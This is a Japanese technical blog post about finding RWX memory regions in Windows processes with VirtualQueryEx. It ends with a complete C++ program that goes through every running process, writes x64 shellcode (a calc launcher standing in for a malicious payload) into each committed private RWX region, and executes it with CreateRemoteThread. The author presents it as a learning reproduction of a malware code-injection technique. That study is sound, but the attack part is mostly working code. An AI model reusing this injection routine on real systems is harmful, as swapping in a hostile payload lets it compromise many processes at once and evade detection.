VirtualQueryExによるRWX保護メモリの列挙をやってみる
VirtualQueryExによるRWX保護メモリの列挙をやってみる
マルウェアが使う基本的なcode injection手法の一部には、最初にVritualAllocを使ってターゲットプロセス内に実行可能なメモリ領域を割り当て、その領域にコードを書き込むことで攻撃者が望む処理を実行させることがある。
今回はVirtualQueryExを利用して、ターゲット端末内で動作する全てのプロセス上の既に割り当てられているRWX保護なメモリ領域を発見しシェルコードの書き込みと実行をさせてみる。
まず先んじて、仮想アドレス空間内のページに関する情報を列挙するプログラムを実装する。
仮想アドレス領域内のページ情報
Windowsにおいてプロセスの仮想アドレス領域内の各ページは、状態(State)、アクセス保護(Protect)、タイプ(Type)の3つの要素を持つ。 以下に3つの要素が取りうる値をそれぞれまとめた。
State | Value | Meaning |
---|---|---|
MEM_COMMIT | 0x1000 | Indicates committed pages for which physical storage has been allocated, either in memory or in the paging file on disk. |
MEM_FREE | 0x10000 | Indicates free pages not accessible to the calling process and available to be allocated. For free pages, the information in the AllocationBase, AllocationProtect, Protect, and Type members is undefined. |
MEM_RESERVE | 0x2000 | Indicates reserved pages where a range of the process's virtual address space is reserved without any physical storage being allocated. For reserved pages, the information in the Protect member is undefined. |
Type | Value | Meaning |
---|---|---|
MEM_IMAGE | 0x1000000 | Indicates that the memory pages within the region are mapped into the view of an image section. |
MEM_MAPPED | 0x40000 | Indicates that the memory pages within the region are mapped into the view of a section. |
MEM_PRIVATE | 0x20000 | Indicates that the memory pages within the region are private (that is, not shared by other processes). |
アクセス保護に関しては長すぎるので以下のページを参照してほしい。
https://docs.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants
シェルコードが実行可能なのは、それぞれStateがMEM_COMMIT、TypeがMEM_PRIVATE、メモリ保護がPAGE_EXECUTE_READWRITEなメモリ領域である。
VirtualQueryExによるページ情報取得
VirtualQueryEXにターゲットプロセスのハンドルを渡すことで、仮想メモリのページ情報を得ることができる。 具体的には以下のようなMEMORY_BASIC_INFORMATION構造体に各種情報が格納される。
typedef struct _MEMORY_BASIC_INFORMATION { PVOID BaseAddress; PVOID AllocationBase; DWORD AllocationProtect; SIZE_T RegionSize; DWORD State; DWORD Protect; DWORD Type; } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
まずは特定のプロセスに対してこれらの情報を取得するプログラムを実装してみる。
#include<stdio.h> #include <Windows.h> #include <cstdlib> // pause() int main() { MEMORY_BASIC_INFORMATION mbi = {}; LPVOID offset = 0; STARTUPINFOA StartupInfo = {}; PROCESS_INFORMATION ProcessInfo = {}; CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInfo); printf("ProcessId:%d\n", ProcessInfo.dwProcessId); printf("Base address\t\tState\tType\tProtection\n"); while (VirtualQueryEx(ProcessInfo.hProcess, offset, &mbi, sizeof(mbi))) { printf("%p", mbi.BaseAddress); printf("\t%x", mbi.State); printf("\t%x", mbi.Type); printf("\t%x\n", mbi.AllocationProtect); offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize); } system("PAUSE"); TerminateProcess(ProcessInfo.hProcess, NULL); CloseHandle(ProcessInfo.hProcess); return 0; }
これを実行すると次のような結果が得られる。 Process Hackerで取得できる内容と一致していることがわかる。
シェルコードの書き込みと実行
次にシステム上で動作する全プロセスに対してページ情報を取得するプログラムを実装する。 これはCreateToolhelp32SnapshotとProcess32First、Process32Nextを使えばよい。
最後に、RWX保護なメモリ領域に対して悪意あるシェルコードに見立てた電卓を起動するシェルコードを書き込み実行させてみる。 電卓を起動するシェルコードはももいろテクノロジーさんからお借りする。
完成したコードは以下のようになる。
#include <iostream> #include <Windows.h> #include <TlHelp32.h> int main() { MEMORY_BASIC_INFORMATION mbi = {}; LPVOID offset = 0; HANDLE process = NULL; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); DWORD bytesWritten = 0; unsigned char shellcode[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; Process32First(snapshot, &processEntry); while (Process32Next(snapshot, &processEntry)) { process = OpenProcess( MAXIMUM_ALLOWED, false, processEntry.th32ProcessID); if (process) { std::wcout << processEntry.szExeFile << "[" << processEntry.th32ProcessID << "]\n"; while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi))) { offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize); if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) { std::cout << "\tRWX: 0x" << std::hex << mbi.BaseAddress << "\n"; WriteProcessMemory(process, mbi.BaseAddress, shellcode, sizeof(shellcode), NULL); CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL); } } offset = 0; } CloseHandle(process); } return 0; }
目当てのメモリ領域を見つかるとWriteProcessMemoryでシェルコードをその領域へ書き込み、CreateRemoteThreadでターゲットプロセス内に新規スレッドを作成することでシェルコードが実行される。
以下のように電卓が起動するはずだ。
まとめ
本記事の内容は参考サイトで見つけた内容をそのまま手元で再現してみたというものだ。 Windos APIを使いこなせればシステムに関する各種情報を簡単に収集でき強力なプログラムを組めるということが実感できた。